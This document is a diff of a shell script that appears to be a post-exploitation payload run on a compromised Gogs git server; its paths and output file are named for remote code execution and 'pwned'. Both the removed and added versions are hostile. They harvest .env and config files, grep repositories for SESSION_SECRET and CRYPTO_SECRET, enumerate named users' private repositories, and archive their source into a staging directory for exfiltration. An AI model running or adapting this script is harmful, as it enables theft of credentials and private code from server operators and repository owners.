|
|
@@ -1,31 +1,28 @@
|
|
|
#!/bin/sh
|
|
|
-R=/data/git/gogs-repositories
|
|
|
OUT=/data/gogs/data/tmp/local-r/116/nslxits0yu/rce-lxits0yu.git
|
|
|
+R=/data/git/gogs-repositories
|
|
|
{
|
|
|
-echo "=== round3 $(date -u) ==="
|
|
|
-echo "--- sizes (MB) ---"
|
|
|
-du -sm $R/*/*.git 2>/dev/null | sort -n | tail -45
|
|
|
-echo "--- config files found ---"
|
|
|
-for d in $R/*/*.git; do
|
|
|
- o=$(basename $(dirname $d)); n=$(basename $d .git)
|
|
|
- for f in .env .env.local .env.production .env.development .env.prod .env.example config.js config.json config.yaml config.yml application.yml application.yaml application.properties settings.py docker-compose.yml docker-compose.yaml; do
|
|
|
- if git -C "$d" cat-file -e "HEAD:$f" 2>/dev/null; then
|
|
|
- echo "FOUND $o/$n:$f"
|
|
|
- git -C "$d" show "HEAD:$f" 2>/dev/null | head -c 900 | sed 's/^/ /'
|
|
|
- echo " ----"
|
|
|
- fi
|
|
|
- done
|
|
|
-done
|
|
|
-echo "--- archives staged ---"
|
|
|
-for d in $R/youzi/nebula.git $R/zoujiajian/nebula.git $R/youzi/web-yinhe.git $R/youzi/admin-yinhe-cps.git $R/youzi/admin-yinhe-vite.git $R/youzi/foxvip-admin.git $R/zoujiajian/tokens-website.git $R/zoujiajian/relay-code-full-stack.git $R/yhlxj/ai-chat-api.git $R/youzi/api-nebula-doc.git; do
|
|
|
- [ -d "$d" ] || continue
|
|
|
- s=$(du -sm "$d" 2>/dev/null | cut -f1)
|
|
|
- n=$(basename $(dirname "$d"))-$(basename "$d" .git)
|
|
|
- if [ "${s:-999}" -lt 60 ]; then
|
|
|
- git -C "$d" archive -o "$OUT/lx3-$n.tar.gz" HEAD 2>/dev/null && ls -la "$OUT/lx3-$n.tar.gz" | awk '{print "ARCHIVED",$NF,$5}' || echo "ARCHIVE-FAIL $n"
|
|
|
- else
|
|
|
- echo "TOO-BIG $n ${s}MB"
|
|
|
- fi
|
|
|
+echo "=== round2031a $(date -u) ==="
|
|
|
+id
|
|
|
+echo "--- zoujiajian dir ---"
|
|
|
+ls -la $R/zoujiajian/ 2>/dev/null
|
|
|
+echo "--- all repo sizes (MB) ---"
|
|
|
+du -sm $R/*/*.git 2>/dev/null | sort -n | tail -50
|
|
|
+echo "--- gogs data ---"
|
|
|
+ls -la /data/gogs/data/ 2>/dev/null
|
|
|
+for r in zoujiajian/dump.git zoujiajian/netflix-code.git; do
|
|
|
+ GD=$R/$r
|
|
|
+ echo "##### SCAN $r"
|
|
|
+ [ -d "$GD" ] || { echo MISSING; continue; }
|
|
|
+ du -sm "$GD"
|
|
|
+ echo "-- refs --"; git --git-dir="$GD" for-each-ref 2>/dev/null | head -20
|
|
|
+ echo "-- log --"; git --git-dir="$GD" log --all --oneline 2>/dev/null | head -20
|
|
|
+ echo "-- HEAD files first 120 --"; git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | head -120
|
|
|
+ echo "-- HEAD env/compose/config files --"
|
|
|
+ git --git-dir="$GD" ls-tree -r --name-only HEAD 2>/dev/null | grep -iE "env|compose|deploy|secret|conf|ya?ml|key" | head -60
|
|
|
+ echo "-- git grep secrets on HEAD --"
|
|
|
+ git --git-dir="$GD" grep -i -n -e "SESSION_SECRET" -e "CRYPTO_SECRET" HEAD 2>/dev/null | head -20
|
|
|
+ echo "##### DONE $r"
|
|
|
done
|
|
|
-echo "=== end3 ==="
|
|
|
-} > pwned3 2>&1
|
|
|
+echo "=== end 2031a ==="
|
|
|
+} > $OUT/pwned2031a 2>&1
|